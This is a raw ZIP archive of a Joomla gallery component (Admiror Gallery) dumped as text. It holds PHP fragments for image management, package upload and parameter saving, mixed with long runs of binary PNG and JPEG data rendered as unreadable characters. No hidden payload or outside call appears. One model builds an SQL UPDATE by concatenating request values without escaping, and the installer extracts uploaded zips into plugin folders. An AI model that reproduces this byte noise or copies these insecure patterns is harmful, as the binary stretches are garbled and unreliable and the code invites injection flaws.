    '; } } if (empty($ag_folders) && empty($ag_images)) { $ag_preview_content.= JText::_('AG_NO_FOLDERS_OR_IMAGES_FOUND_IN_CURRENT_FOLDER'); } $AG_folderDroplist = ""; $ag_preview_content.=' '; ?> PKs>\ƁHcom_admirorgallery/views/imagemanager/scripts/imgManager-render-file.phpnuW+AenqueueMessage( JText::_( "AG_CANNOT_CREATE_FOLDER" )." ".$newFolderName, 'error' ); } $ag_hasXML=""; $ag_hasThumb=""; // Set Possible Description File Apsolute Path // Instant patch for upper and lower case... $ag_pathWithStripExt=JPATH_SITE.$ag_folderName.'/'.JFile::stripExt(basename($ag_itemURL)); $ag_imgXML_path=$ag_pathWithStripExt.".XML"; if(JFIle::exists($ag_pathWithStripExt.".xml")){ $ag_imgXML_path=$ag_pathWithStripExt.".xml"; } if(file_exists(JPATH_SITE."/plugins/content/admirorgallery/admirorgallery/thumbs/".basename($ag_folderName)."/".basename($ag_fileName))){ $ag_hasThumb=''; } if(file_exists($ag_imgXML_path)){ $ag_hasXML=''; $ag_imgXML_xml = JFactory::getXMLParser( 'simple' ); $ag_imgXML_xml->loadFile($ag_imgXML_path); $ag_imgXML_captions = $ag_imgXML_xml->document->captions[0]; } $ag_preview_content=''; // GET IMAGES FOR NEXT AND PREV IMAGES FUNCTIONS $ag_files=JFolder::files(JPATH_SITE.$ag_folderName); if(!empty($ag_files)){ $ag_ext_valid = array ("jpg","jpeg","gif","png");// SET VALID IMAGE EXTENSION $ag_images=Array(); foreach($ag_files as $key => $value){ if(is_numeric(array_search(strtolower(JFile::getExt(basename($value))),$ag_ext_valid))){ $ag_images[]=$value; } } if(array_search($ag_fileName, $ag_images)!=0){ $ag_fileName_prev=$ag_images[array_search($ag_fileName, $ag_images)-1]; } if(array_search($ag_fileName, $ag_images)'.JText::_( "AG_PREVIOUS_IMAGE").''."\n"; } if(!empty($ag_fileName_next)){ $ag_preview_content.=''.JText::_( "AG_NEXT_IMAGE").''."\n"; } } $ag_preview_content.='
    '; $ag_preview_content.='

    '.JText::_( 'AG_IMAGE_DETAILS_FOR_FILE' ).'

    '.$this->_renderBreadcrumb($ag_itemURL, $ag_starting_folder, $ag_folderName, $ag_fileName).'
    '; agHelper::ag_createThumb(JPATH_SITE.$ag_itemURL, $thumbsFolderPhysicalPath.DS.basename($ag_itemURL), 145, 80, "none"); $ag_preview_content.='
    '.$ag_itemURL.'
    '.JText::_( "AG_IMG_WIDTH").': '.$AG_imgInfo["width"].'px
    '.JText::_( "AG_IMG_HEIGHT").': '.$AG_imgInfo["height"].'px
    '.JText::_( "AG_IMG_TYPE").': '.$AG_imgInfo["type"].'
    '.JText::_( "AG_IMG_SIZE").': '.$AG_imgInfo["size"].'
    '.$ag_hasXML.$ag_hasThumb.'
    '; require_once (JPATH_ROOT.DS.'administrator'.DS.'components'.DS.'com_admirorgallery'.DS.'slimbox'.DS.'index.php'); function ag_render_caption($ag_lang_name, $ag_lang_tag, $ag_lang_content){ return '
    '.$ag_lang_name.' / '.$ag_lang_tag.'
    '; } $ag_matchCheck = Array("default"); // GET DEFAULT LABEL $ag_imgXML_caption_content=""; if(!empty($ag_imgXML_captions->caption)){ foreach($ag_imgXML_captions->caption as $ag_imgXML_caption){ if(strtolower($ag_imgXML_caption->attributes('lang')) == "default"){ $ag_imgXML_caption_content = $ag_imgXML_caption->data(); } } } $ag_preview_content.= ag_render_caption("Default", "default", $ag_imgXML_caption_content); // GET LABELS ON SITE LANGUAGES $ag_lang_available = JLanguage::getKnownLanguages(JPATH_SITE); if(!empty($ag_lang_available)){ foreach($ag_lang_available as $ag_lang){ $ag_imgXML_caption_content=""; if(!empty($ag_imgXML_captions->caption)){ foreach($ag_imgXML_captions->caption as $ag_imgXML_caption){ if(strtolower($ag_imgXML_caption->attributes('lang')) == strtolower($ag_lang["tag"])){ $ag_imgXML_caption_content = $ag_imgXML_caption->data(); $ag_matchCheck[]=strtolower($ag_lang["tag"]); } } } $ag_preview_content.= ag_render_caption($ag_lang["name"], $ag_lang["tag"], $ag_imgXML_caption_content); } } if(!empty($ag_imgXML_captions->caption)){ foreach($ag_imgXML_captions->caption as $ag_imgXML_caption){ $ag_imgXML_caption_attr = $ag_imgXML_caption->attributes('lang'); if(!is_numeric(array_search(strtolower($ag_imgXML_caption_attr),$ag_matchCheck))){ $ag_preview_content.= ag_render_caption($ag_imgXML_caption_attr, $ag_imgXML_caption_attr, $ag_imgXML_caption->data()); } } } $ag_preview_content.='

    '.JText::_( 'AG_LEGEND' ).'

    '.JText::_( 'AG_IMAGE_HAS_THUMBNAIL_CREATED' ).'
    '.JText::_( 'AG_IMAGE_HAS_ADDITIONAL_DETAILS_SAVED' ).'
    '; ?> PKs>\#o,,0com_admirorgallery/views/imagemanager/index.htmlnuW+APKs>\#o,,*com_admirorgallery/views/button/index.htmlnuW+APKs>\գ..0com_admirorgallery/views/button/tmpl/default.xmlnuW+A
    PKs>\cS0com_admirorgallery/views/button/tmpl/default.phpnuW+A\#o,,/com_admirorgallery/views/button/tmpl/index.htmlnuW+APKs>\).com_admirorgallery/views/button/tmpl/.htaccessnuW+A Order allow,deny Deny from all PKs>\yG-com_admirorgallery/views/button/view.html.phpnuW+A\))com_admirorgallery/views/button/.htaccessnuW+A Order allow,deny Deny from all PKs>\=HH-com_admirorgallery/models/resourcemanager.phpnuW+AgetValue('config.tmp_path'); $resourceType = substr($AG_resourceType,0,strlen($AG_resourceType)-1); $file_type = "zip"; if(isset($file) && !empty($file['name'])){ //Clean up filename to get rid of strange characters like spaces etc $filename = JFile::makeSafe($file['name']); $ext = strtolower(pathinfo($filename, PATHINFO_EXTENSION)); $src = $file['tmp_name']; $dest = $tmp_dest.DS.$filename; //First check if the file has the right extension if ($ext == $file_type) { if ( JFile::upload($src, $dest) ) { if(JArchive::extract($tmp_dest.DS.$filename, JPATH_SITE.DS.'plugins'.DS.'content'.DS.'admirorgallery'.DS.'admirorgallery'.DS.$AG_resourceType )){ JFile::delete($tmp_dest.DS.$filename); } // TEMPLATE DETAILS PARSING if(JFIle::exists(JPATH_SITE.DS.'plugins'.DS.'content'.DS.'admirorgallery'.DS.'admirorgallery'.DS.$AG_resourceType.DS.JFile::stripExt($filename).DS.'details.xml')){ $ag_resourceManager_xml = JFactory::getXMLParser( 'simple' ); $ag_resourceManager_xml->loadFile(JPATH_SITE.DS.'plugins'.DS.'content'.DS.'admirorgallery'.DS.'admirorgallery'.DS.$AG_resourceType.DS.JFile::stripExt($filename).DS.'details.xml'); if(isset($ag_resourceManager_xml->document->type[0])){ $ag_resourceManager_type = $ag_resourceManager_xml->document->type[0]->data(); } } if($ag_resourceManager_type == $resourceType){ JFactory::getApplication()->enqueueMessage( JText::_( 'AG_ZIP_PACKAGE_IS_INSTALLED' )." ".$filename, 'message' ); }else{ JFolder::delete(JPATH_SITE.DS.'plugins'.DS.'content'.DS.'admirorgallery'.DS.'admirorgallery'.DS.$AG_resourceType.DS.JFile::stripExt($filename)); JFactory::getApplication()->enqueueMessage( JText::_( 'AG_ZIP_PACKAGE_IS_NOT_VALID_RESOURCE_TYPE' )." ".$filename, 'error' ); } } else { JFactory::getApplication()->enqueueMessage( JText::_( 'AG_CANNOT_UPLOAD_FILE_TO_TEMP_FOLDER_PLEASE_CHECK_PERMISSIONS' ), 'error' ); } } else { JFactory::getApplication()->enqueueMessage( JText::_( 'AG_ONLY_ZIP_ARCHIVES_CAN_BE_INSTALLED' ), 'error' ); } } } function _uninstall($ag_cidArray) { $AG_resourceType = JRequest::getVar( 'AG_resourceType' );// Current resource type foreach($ag_cidArray as $ag_cidArrayKey => $ag_cidArrayValue){ if(!empty($ag_cidArrayValue)){ if(JFolder::delete(JPATH_SITE.DS.'plugins'.DS.'content'.DS.'admirorgallery'.DS.'admirorgallery'.DS.$AG_resourceType.DS.$ag_cidArrayValue)){ JFactory::getApplication()->enqueueMessage( JText::_( 'AG_PACKAGE_REMOVED' )." ".$ag_cidArrayValue, 'message' ); }else{ JFactory::getApplication()->enqueueMessage( JText::_( 'AG_PACKAGE_CANNOT_BE_REMOVED' )." ".$ag_cidArrayValue, 'error' ); } } } } } PKs>\v!y$com_admirorgallery/models/button.phpnuW+A\uV w33)com_admirorgallery/models/galleryname.phpnuW+A\)#com_admirorgallery/models/.htaccessnuW+A Order allow,deny Deny from all PKs>\#o,,$com_admirorgallery/models/index.htmlnuW+APKs>\6*com_admirorgallery/models/imagemanager.phpnuW+A\k;,com_admirorgallery/models/admirorgallery.phpnuW+A $value){ $AG_DB_input.= '"'.$key.'":"'.$value.'",'; } $AG_DB_input = substr_replace($AG_DB_input ,'}',-1,1); $db = JFactory::getDBO(); $query = "UPDATE #__extensions SET params='".$AG_DB_input."' WHERE (element = 'admirorgallery') AND (type = 'plugin')"; // This change value $db->setQuery($query); if($db->query()){ JFactory::getApplication()->enqueueMessage( JText::_( "AG_PARAMS_UPDATED" ), 'message' ); }else{ JFactory::getApplication()->enqueueMessage( JText::_( "AG_CANNOT_ACCESS_TO_DATABASE" ), 'error' ); } } } PKs>\#o,,$com_admirorgallery/assets/index.htmlnuW+APKs>\)#com_admirorgallery/assets/.htaccessnuW+A Order allow,deny Deny from all PKs>\)*com_admirorgallery/assets/thumbs/.htaccessnuW+A Order allow,deny Deny from all PKs>\i郷!com_admirorgallery/controller.phpnuW+A\#o,,)com_admirorgallery/controllers/index.htmlnuW+APKs>\C{y  /com_admirorgallery/controllers/imagemanager.phpnuW+A\X2com_admirorgallery/controllers/resourcemanager.phpnuW+AregisterTask( 'AG_apply', 'AG_apply' ); $this->registerTask( 'AG_reset', 'AG_reset' ); } function AG_apply() { $model = $this->getModel('resourcemanager'); // INSTALL $file = JRequest::getVar( 'AG_fileUpload', null, 'files' ); if(isset($file) && !empty($file['name'])){ $model->_install($file); } // UNINSTALL $ag_cidArray = JRequest::getVar( 'cid' ); if(!empty($ag_cidArray)){ $model->_uninstall($ag_cidArray); } parent::display(); } function AG_reset() { parent::display(); } } PKs>\M44.com_admirorgallery/controllers/galleryname.phpnuW+A\|1com_admirorgallery/controllers/admirorgallery.phpnuW+AregisterTask( 'AG_apply', 'AG_apply' ); $this->registerTask( 'AG_reset', 'AG_reset' ); } function AG_apply() { $model = $this->getModel('admirorgallery'); // UPDATE $model->_update(); parent::display(); } function AG_reset() { parent::display(); } } PKs>\'U)com_admirorgallery/controllers/button.phpnuW+A\)(com_admirorgallery/controllers/.htaccessnuW+A Order allow,deny Deny from all PKs>\#o,,/com_admirorgallery/templates/default/index.htmlnuW+APKs>\).com_admirorgallery/templates/default/.htaccessnuW+A Order allow,deny Deny from all PKs>\@<<?com_admirorgallery/templates/default/images/icon-16-default.pngnuW+APNG  IHDRasRGBbKGD pHYs  ~tIME  /5)IDAT8˅Mh\U;M2c2mKSZ`UhƅX(4 \B(YQ !P)."ĢR'BjRI2;73sgE2ƀp8w։(P"RUȲD䖈뱨0R[omjZk=Vϻk`Ӝ+}3$b:SסuI{8繝\=[^W&.]V\G f vW_ uDAlڪ_WUM*/""moMm8* u=iH*\vP.DMH?N9}`@A>ܲ;+* yegjzGޢyF3K"EZK[ ٤ R87]ͽ7ܛ|ٴm'po# q̜M%HPL).Ƙ*0Ls/E42ٝh}ǎ\t//--R'So_œ)նt./%LT?AU߫~FozXgT$U'ґi1& BaX$oy"1 zCW~>w/d url6v_.R |8;Q7\֬IENDB`PKs>\/A=com_admirorgallery/templates/default/images/icon-hasThumb.pngnuW+APNG  IHDRasRGBbKGD pHYs  ~tIME  뚍5IDAT8c`0BdOg ,I05`X+ f2 RIENDB`PKs>\eWW;com_admirorgallery/templates/default/images/uninstalled.pngnuW+APNG  IHDRasRGBbKGD pHYs  ~tIME  }bcIDAT8˭ӽJAϟlbeloj{ V>B*_a|tA@9 :Dz`9;ޙa". jc z=U`")zo%7sX*īh~/,e&,}m׃Qhzpp7 COαq(I:9}Rl ٌZ>B~;^/Oyg53IENDB`PKs>\ ""Acom_admirorgallery/templates/default/images/icon-16-templates.pngnuW+APNG  IHDR(-SsRGBPLTEz#>t%cIAgG BcL@iMZPIMN]EjNQPgLOhHnLkNjR^PRQeLnUXYoTVgWVX[Xv] [^`npm^mqtc`b fe c|syfil}kn}i k|z~ols opwost{x}w{~}x} { |Ƀ~ւ~͆Јڅ ܇Ӌ މ Ս܍؏܍  Џ֎̒ȔĘؖ ˥Ƽ¼` tRNS@fbKGDH pHYs  ~tIME # "IDATc`+nff(/@ ]~ Xy浫@`]v 7ˎ=~ *TvۺuU3B2wƔ4@BIEEQajL?u_?82o FW IENDB`PKs>\@r||?com_admirorgallery/templates/default/images/notice-download.pngnuW+APNG  IHDRaM=sBITO PLTEE ݼM6D0z{7K/Cf$YՎ@. Uό>y)S@I^^I &$   NA2:P|D.~~,UÑ5VՂz9 U`YFE]@ y4d8]b(]K9@&E FihhtBd%e4s#jˢ@ڜ8lLUI3m@-R iI@e hkK c  I֕`NfD4 䢣!l4Sh,(yŀ@Ut0S B,@`P//BJ @ MUrT{ZfmQhi2PF1lt dhhh90P{YY$}ɥ˓Jd@%l 9QQ& ʳC`,vIENDB`PKs>\Sa-5com_admirorgallery/templates/default/images/alert.pngnuW+APNG  IHDRasRGBbKGDC pHYs B(xtIME 5PIDAT8c`` aF|#3|\6 8  @T, y|1Bt@sa\.C``>com_admirorgallery/templates/default/images/j_button2_left.pngnuW+APNG  IHDRssBITO'PLTEʕ pHYs B4tEXtSoftwareMacromedia Fireworks 8hxtEXtCreation Time4/20/06~ IDATXء`;# P#`5 8Z1p}&xoyRtA)@э.I`r?ݑpvՕoyL`4N\L)WCG0!;8@ɆuIENDB`PKs>\]qYY>com_admirorgallery/templates/default/images/bookmarkRemove.pngnuW+APNG  IHDRasRGBbKGDߙ pHYs  ~tIME 002IDAT8˵ҽJQ/DH!4E:ciEXX>OW,B+$S6fUf 39̝;3ahW_sGJ*)p7,FFEF9.;K{ xj􊃈o-: {4|?o<-C|b7r^vH E XEqCYUXxXIENDB`PKs>\:{77;com_admirorgallery/templates/default/images/notice-note.pngnuW+APNG  IHDRaM=sBITOPLTE~!~Du ԯZp{?"rȤ+ՖQ+cۯȶcӝP:2n@)ÅPǃŽ᯴<̩*}ò!ٝޭ4sK׏ײ4! C8Ԇ,kQb| c7ΖCȶώݦAʋ9- Ԗ(ɦ/٧~޽Ϭ/<LTu}byn!0K")֪ܶĝٴƤŖK֔X1Í÷Hl#̈́:)zy(Zтٙ}D:lјۥ:'ottRNSjK pHYs  ~tEXtSoftwareMacromedia Fireworks 8hxtEXtCreation Time3/12/07!LOIDAT(cL"[+%%[ ,f|&i..V-y&FB .V,,.b dx[A2 oR&\V3P1$:""71nɊԧGفe]G P`^6 7hɂYSx c A( f1ΞS-(,=?p:X6I*2IgZXV \A0jXV@ &e=<<\P0 (+\|q`E^P0(eSx4@U6wx8Ce'TTxxDL&[ + Li|>X$T@U=`VIL65$E6AZY rLڕ(gnR 륥CCBCMd_HL%31ҳT3kXX, ~~ ,,@:dCvIIWnWWI_2Pb2 Ku]]'%|n!fWM8IENDB`PKs>\O2Dcom_admirorgallery/templates/default/images/icon-16-imagemanager.pngnuW+APNG  IHDRasRGBbKGD pHYs  ~tIME !z9ܱIDAT8}1hSQss1Unb N(KѴ+t)չઃ4$j蒦C6MIE!br/?WҙɩakAA88ll^ߞ3G'2+'uuS3olct nk9Kֵt &vG!:VSkg8,U@̐Gz5*\.b;YH)N>'If'iFC@*-NuJ%)KZE׾^Y~VUlyYmb41x)ry|T*RiÅG_ TIENDB`PKs>\#o,,6com_admirorgallery/templates/default/images/index.htmlnuW+APKs>\kbb8com_admirorgallery/templates/default/images/bookmark.pngnuW+APNG  IHDRasRGBbKGD pHYs  ~tIME   IDAT8˵=JCQO! B,beX0Vn[K2;jiMx?$fΜ8 b\(L;com_admirorgallery/templates/default/images/icon-hasXML.pngnuW+APNG  IHDRasRGBbKGD pHYs  ~tIME  0o=1TIDAT8cd``@\}bLBcom_admirorgallery/templates/default/images/default-background.jpgnuW+AJFIFYYC     C  r"  ^  ! 1AQ"aq 2B#3Rbr$Ss4CVc%&D'Tt57G H!1AQaq"2#BR3br4DST$%C ?)J )J )J )BBF |h u؃$4B'mG2>e t\^R&J}|ɔqzJ$󬡥q zOB-AT5%MW>J;$I ]M7w Tֲf6{XzGQ8PZzl,,?'^}Ps̉J3[Թ^*?u sݬ`-V#N֤:ZXBCdwG.ՙ3BMn-K~YqrKy 9ΗT[ Z6;cP7MCva}{4jQs.{\F(û06j&ckQcd4 }>577W&/L w JR, X(}ο#~ Vάy֌%GnGzrKM4-j %!E$vIRm>]@N1'4BIBX\uxڱ˅D`ת<x;*|nbOIW'dVLSn9?&σkYJ.tM4#l)MdžRRRRRRRRRRRRRPt7AyָRRH5cZ4E䚃7)y!qO#TC !g$'w]N ]U9S3u{vshH2􉇮mhfwˮAZ-PGU#^[mZȧ6{,nZ}ByGM`I<;k|]y/Ʒ&e)RҀ ȩ BH,fWS :`9} zYZu.ʅ.Rli uir: 5?J08VOCŭs[W"y aOD-މ=$t$l7px!ܴ \ǶΣR=|ߤZg}YU"ŏl4\4Q׺(O0'Z. szî~|ߵvxF;ȸi%LWIyeOu{ͽԔ$sndsy6~uN6[9TSUq\ ܃گkщ7Ek/EIJI? a*{Tun+k6M"A)/t( TH=@ t)R ԝ@uK43!Y= =c^\Kk`A[G7PrJTAp(U'^d"ab[6!4(JX> b 5&7̫F⛮)"KGCݲ%I ${Ʈ#Ggæ%DZ[.L~Q~C =v#zXSJkc"ȯyeNE\6[rD*RNjID=rH1~0e%5ty'kFsgwvCp+CayBЍ41_uɤO()=+agsZU8;$q&j2sMGujJOz>/&ȵm"p[3J͙C1'pH3qzQjg9#u͍->)}MWЊ8nҾr&]Ů6ْ2ݎa"J[YXC@wB7;i0;}o1 5ߓoVxf#xjԞmTV_oErzTr\%JuguI4+#8SD+ĎW3.rnNAhɜ>#YUwȓ5.߫.UL).g ZK&1&e @k"Des{T'6ÛnmoK$:u BH@'sSM+4~r5(d2FYWF?T󏐬pz\[wD'9 IOa9IU>z듋.LSOk]!)w {Ɯ(SL+뜨?dsCߔU; wd'ڹnSuFͥ y&!;g`=,O5ďٟ q d0.бmɝjwҧS w E<5\cl~e ߺZ xi.酞:\cr`E|X7B'5@Y\S8&甦oXP;UzCqFr*)*B`}wvÃnx{*O'gR6S/n ij nXyDByj ) |`~mB[5Cޫ'e [ >!dAš4Db."S/a`}quO{7t?dt3&8H3N u-7WdG {\i{ZtV8IQ P 6 HU"?;D ,$AjOpOqtnQ,--[ri*+z=$+ƿlyK&Q\ff?{o澔' &WeX Ye)b lR~#qRUeP>Q9d/)0R;C}cy5Jią6 k'qZbmŽ^00hIS?V N 'P":h9hlAMD<##p)JEp)D)D)D)D)D)D)D)D)DZWP:Y.)1Z=;|ʮRywQm5s11I()\⦒.~\]5ox+}6=Re8~c>.@ HRTjV%u \]"wp,Ko+7B 5Dfv!5Ue=! } OܞЪTPaHVxSSp#|Y ێ1CN%`['P%6j1TR̦\$Xp.rR}\R[*+j^@$_^CxGtai~mRin|V]~*$nͬsC>O _>"|2>>'й6.wpҏ/2|af ګI3  ?zCt[LW2$ d +#o:<v{+L4^SCqyO;͍>10yRV u] R`zy1<.Ѹ"Ắ2n 6;Ekc>52 f{.M*\SQ 9Ү+'( *RRBB>[SBjjD&A ?'2wz#Z,$>+3Kk4\IRB>im yT=э 鵪% 0qӺ?Ao?WTUwH4hTe1GvJRG RA mJoDqy8&cbz$;dۘJEWPkԩIP)6"5o i}y?זx\EuJs<mda>PV K$Ly ri_)?jZBJG&~2$: H d:- +)H@TjFǙki Ty%V)7+t)$0)D)D)D)D)D)D)D)D)DОҵc",."@>-{6ƶN5-psH S`wصTT8ڤifQ^q &$@>upyi|F;Wq *kTA`R֤RR Hm>i^ؓeӬN4&PG36q/]y:W&qW1C.-W&Uؒ\ s}%m8SʴA  _a]*~auQ]i%\/%i#r6A 58 ]V2S*R .l-pl4#)PvpEno <_oNW Tqk hi'P Evh=}%2%> CCK-$)J)Jwstٸ:m`6Dx h@<+uVN*7!W8T|jCJZʓ%Jzn [u'PLbo`ZgcVk0╲b0n;n~t+mϞƪyh Jվ-##p;8,Og|T5WnNs- Jq"S 75U$Y$xUtwlSnm!#*6"vy,FrCnܙ['"€?8g@wE0蟝 7GRG[c2I;J`atc StOTwDKӴE> 3Ӥֈ"hU-{G`8Z!nΞ"~K*RRNc_H&b_1]C캂aѺ\mn$螟k\wGZ9)ޅ[yA>KocWU>[ej@RŔ@؁{_O>&;Cudܐb~Iyp,&m(?7v[*VʵlF~Zg[eƊ v0,)m%~^C4V:ջ57z䳷")m'~{hoa.aT$=lG;wyw&H=2CUu54Q\y-as$H=7ڮHW(KCn>cV^wyv5!tߴz8𸷋.jCs $ ۯHxu)L|,+nفvE%*eM (: UJR!JR#o 5SP`i^ ?>CuڟiRJwH 'nƮ0ztx\7eCo ?,K<3M0lZ)$ihj)A#1{a18l36 ™}t>z#cUyV|/2,LV.Vt >qSKW Q jmյzx&>*Rf@}ě:_8-2=")V*67>rڢmsL4w[ROAV+Gea}m]#$[@=i>dru:)H$nbœxdU6̔ҜnxjZ˅@s4Nѫ\@.vl[2F~tE([q`8ZYIĞW6{Y6a!AWtۜҺ(|zu**qr( JU#^kZ44a ˳*R[ TX } V/sI*smXF)N̷ GswMZc=XyNT'iSlVKsb5*:z-!cՑ􂴿5!!i/ oĚçBbN?IOR'M+:Gw¯!oS ɳ@.ݥxSm_Ag]Z9D~o^Ukӫ2CŶO#~`2ܧӫ\5s'j̓<0*ֲ߲wO +⷏11:e]sA9{Lͦs I+$ 5r,LsD^$t+I١!_$:wk(i볉ʹ~$;~nhwmcΦ"5C~s1;jW1WeѮžz;\}aNwH$ﺌuGp 5e3 :l߼W*<ېJc數![bLWY2"]>·Z/Kԭp+'5jzh7IS'׼_#(?sUä>)Heh@KCb FR7;x!qjHIOջE?n ?0>D͵38]@ q;@֋eRN-ҭ'3cH`.r d '0f{V2VEC;T۬-Ks:H*$ :#fV$#oT/%fX-ofTe͸Bv-8Jn='!B+t{ RZ )J )J )J )J )J )J G>xGu; v umxJξ^ϛq)o}8θTII$k{IP%b\J(FQ[HB~m{\dؓJ1>te0@}- U*/]|_k"Y );TUmh?V,q fy\pd(7@V842kFXF=sL'|W t%3 [1mԧzWq iiRD>¾2%liBu=bIc0O5ޯm@=ʟZy&o Kwk&;!=bu.#r: #P:mͽTߪRo4s!A$\zUF5Cukef#KuێQqH>x޿Zү}ƼO_Ma Chߧ=cn%m wonHKK(~<5TU.<#En}afh/4GԎ[_2D"ۜw4asח~ʰڙz ȴ:n{*OxRɬ.S-C[ss#v)jĦR{Slo dV0%ҊOA qW/ Z(< m\M|JH!)# UsPh ] $$u7Ӥ#y΄߯w~6d0%*tA/B?Yo+`o.ަ~v==.BޞpS̘HߜwI+~3Q43TCQaK KXH#sס_)clg-)hm-l|wKYq c;[T'[:>lwi{y xi犎'5ժ 3rm.wl'H$lKǛcަ [#1,[on 2r$RX+e}!uK#UnT{=!*jK)u|Ҡx?Q hJH!2}{jryʜuA$ x Hjbyn6wU?y;hUe|ERwA1ƌdNzZz%  ie!{skXI#>d}qĔR$?G|N2IO.8jaL5w,|>rɃ)s[O2Zq$) b>*(Ug2:tq9˦7kً`9Oȃor~Q岁?}gѾ|AŒ7nrlʜA=R#aig59v`P²^>)[Wu4|w>$*lwoT|2)pr5Ot)>SRWj]:)t ɇ[%DPn붦[jIq:R)PMz6:OĵWilɊ\1}=Tjk!IRBFܴòvN)G>$ jcq<#)Jnh~_Ɣixg/hm;Ń{ ~'Rk..H.UlՒEpzm_ R$ Ƅn4ӹyM 0Mip#TcO+ }) L4#y.jH#o°^떈c2ě ;L#sO 2~mf6] H2m%i6Ѫ)u7SK&l@7-p1*qchyHA;ÉI)ϑTa\ZDw$G#&3ﺐW(?H=x53-7=np s;It}j^wgv!MR9b[@Iۡ4s)1RbaBeQwiJT~'%% 6i^"w}v&VhqyRvD`H5xp?a1BV-n+9Oy'(;A'_ķ :S197lEHLj>h' 'ǡB$1W;KΥ?³О~}b5U74K{|k[9&q WOq)ڨws+linඥ߫iiJgw=v<̧J𛎂&$tnQJxwI#e~ ItGZ#<$|O-j:\OWazHAKF[m޻[xnKn4loE;Qr-&YQ,fd>ïʮ܍ y [`a9o i18{@ eQ;WRBc @|&^`^]^yG~vFJ ܀tEAD qۍDЬ X K[IH-kRvnNnw58W(js^b?J?L$}oP7|zVÍ8Rझ6[qi;mș?vR I960F6NU}#ć!˟96jcDBꭑFuj<&^>Kd~JXXu$tNtNjX_)[esB> [`vn6eOnU]k6ug b>aitTޗVq(> PŻ# Nrۆ^ YH#qU8+V3kW\"uJ%WיA'(7 y6˲U.أ&7jqOVMN9W+S֫;ؑ[bSMNwn5b Čs]:jd%S\Wlc U{!$ud m\F׊Yqֶ\8Gy{$Cו O ql.LXiIIF*bv޴÷ؖxN@%W imqIQZ2q̝PWbNܻd!m%SsVOC-zy'mEF`1G!X P (+/3{a=M 2 6h -4wZnS uH JToZzˈF#&"m~QEC4B]?k„Fo[i2AKAUa>~SۊHe{&aHʖ|kj'xٺ zar9 1-%^"Kƭq?%Ƴ&.ߒ$fz!wRyGޭq4q,}d-#-~-Q8;7T"efW?ꈠZ/ܗyk3DHk N6aN)2X5]vEsiƊc 8\?^`d)gЭsƿ h]\XYU}O2Xxgn]ԟʷrԒ}li`שׂnc6ȉFeJps8ŦįYoۛ&{v%8lMG<-ow$ciB(TTI紗Ru,X k9(8+KW;HK> iiEZ,ۭͲ9II5 cWSZ'@,k-ـ2A[d;:o֟mt#$ow/l[AkL% %lP쵂Ga0|EםDZs]uiIBт0dvzަ 3:`RKPH XI۩v]Jsq!7;0ꐵ(ON+bۥNr{96!SlCK}Kku9 S_mUӨ ϗfI`/y )<NlGH`dż7m8V3 zO;y,D(=JR[cFŰOZ뇼Y5˔"3c7\Bj6>jRN}Hi@$zcĮ4>KL5",(eﰱ?sS6{/UvH`LeS:FQ< $_:GzZA ߬o[%A".LӶ|T '%GƤ V:iaIRHGB T4U(u#Q-*I>›Z>qhjR[BܗvJ '{?qWq{;oH`^#$y5m]ќ \1'pD* X+I m@:TⷱZ '/&]ƁY]>O*JGa\œ8Ub Ԓ6#[}.{-\yELwQ$s$G~O8eV/Ye[0-˅16+)RTU- mYT5̙7-Obt筳[[-n>? ɐ&qQꄰiyӱ7QF]폎*vi_fhUʞz1*QQת>H֏ݽ@'\Ⱥ92RU ߆I^Lk$飷O~^>TG/nSUrm$\%+A2fo[Ϻ@=TMLƐ>'Kh=iTFSE4PBQG]$׭C %mu-""-Zۙŧi/e_S3..u;cM@&`V6쒾lz ꦑl~d9ܓryg);8, I ԝ4e47^S kÃ$2˃su=wޮ:5sa0Wc S+wNyjqgԻ d;ѯ7yP^$ ==Gg 󇸋 jȬ5IE51^23~Νv`)i&3X1+b,ݩ;Ҷ 꾣hXqu%7c/\O}AjKiRQKkR[R}y4:8xSQpEZEw9zF#g=ivŪJZzbXQi J ;um_ƧZj+dEc[Tx퀈L d!Cǯƽz٢4+Jkace %>.DYOw)\$ܛ9<*R:,:lHt "C*Rh:-(J[A$4 3ޡٯ1aiݝNϵGqyZYѴ(Z9JO*AR 5:ՙވVyj5ȍmg}=<)'ù!">'c/֥KQOLc !8H6m>V550Ӕ' mHҊm6EfZvAםmT{]qMkR/m ʐ-K)#r%[ r`fխ+sVܚ)eVwZT{mA>ud8g ԩXk6Gl=!!ࠞR7r +q{PRɈZpɯ̲Y=.Z!ŀ7H, .; ܷmIpUc܀Fְ{u¦./d ùMM2ރ؅ <ö/5^" L8α4b.EtŘqj)I߻_/1=a]QU9uܢaK`c^dON-Ҳ4^FW}M;AB/*iVAg{v,X-ZY3diKqYqJW>Nnhw/k\Aj]m\+-rsb*j*JʔO1Kی5ܩ+p'|UèZYsH6̆wwwZkGfߠ'>6rI$}eN(gk*Vwͻrێ4.#npA"; N{KxvЮ\ݸ\ٶDVǢX-H>#gٝzͻAa{zZH`6pT2o^{KUO 'ākyͰ,F6Zo>kQRIkPݳ=p^s&f,("|yWMRB!w?-k;dY-e~Ȧٓo>ZĨq;GZ\\oQS8)DI'$>fNbQ=wwoWo;m*)XcPE]l6-kñ˺]#(6`(lGO??ӇɷfF5瑷w))C";_cM߯M i^n.\T qln> *cS\Z8Gt/gGQ^ov㛔teO 4K2m88k%"#3!(BZHR ߭5өsuj`HtO*Mh &,yŶId5ٍo=k% HJI۔=jpmwlq;Kr$¬a5E1n_֬q/+e-ӺUƎ|>g$qċ e&E8qF833)q+)A q_oGZVC8seʏ=r`!/׳ W8*Nd{G M-nmg)Q#HQ۩kVk> Y"<4iWoHE?"Ck*9A/m񮞭r5 6AnqxpJU ue$\#C{mI we4t?>6+ҖΥvOSJegs0#ʈ}}|'k{6fzue(|V۪<62%KI#ͱ^E_NI-jܮF?&q+ T2%n:岛Izqj3R.POnsXflt6%c " 62q}ڏ/mIJU+1eJ7ܡIR3< s*ʯIC ʍǔlF˭6,?* *&@:yWL _"@R7”BD~zx/y+nylF:AGj$oNوUAP;% RJ+SZ(n@,nI'O)^ղO$7fp/\ly]elP܌Ң W*I%%a[v W7qddiF z/&uLDF{EHZw>ĸ>qiBW]L+ XbRBRJJ*'eM5'qP1ל[$pjY;jY;N(yE[\KCID"U! j {mv3Yر-6VsV#!t̀6D'ܒmEHh&-\+29ܚ$)0e)1P䧔HWs9u*Zь&ՌQ!(ېJ~.)ݬS .{ pX%Էٶ@$iUZXŲ̯ vUL9"eȆ+y\mJeIGBQ8Yj=J6V? Iʳ:I6[񜖱zy`[-^񖕀$U 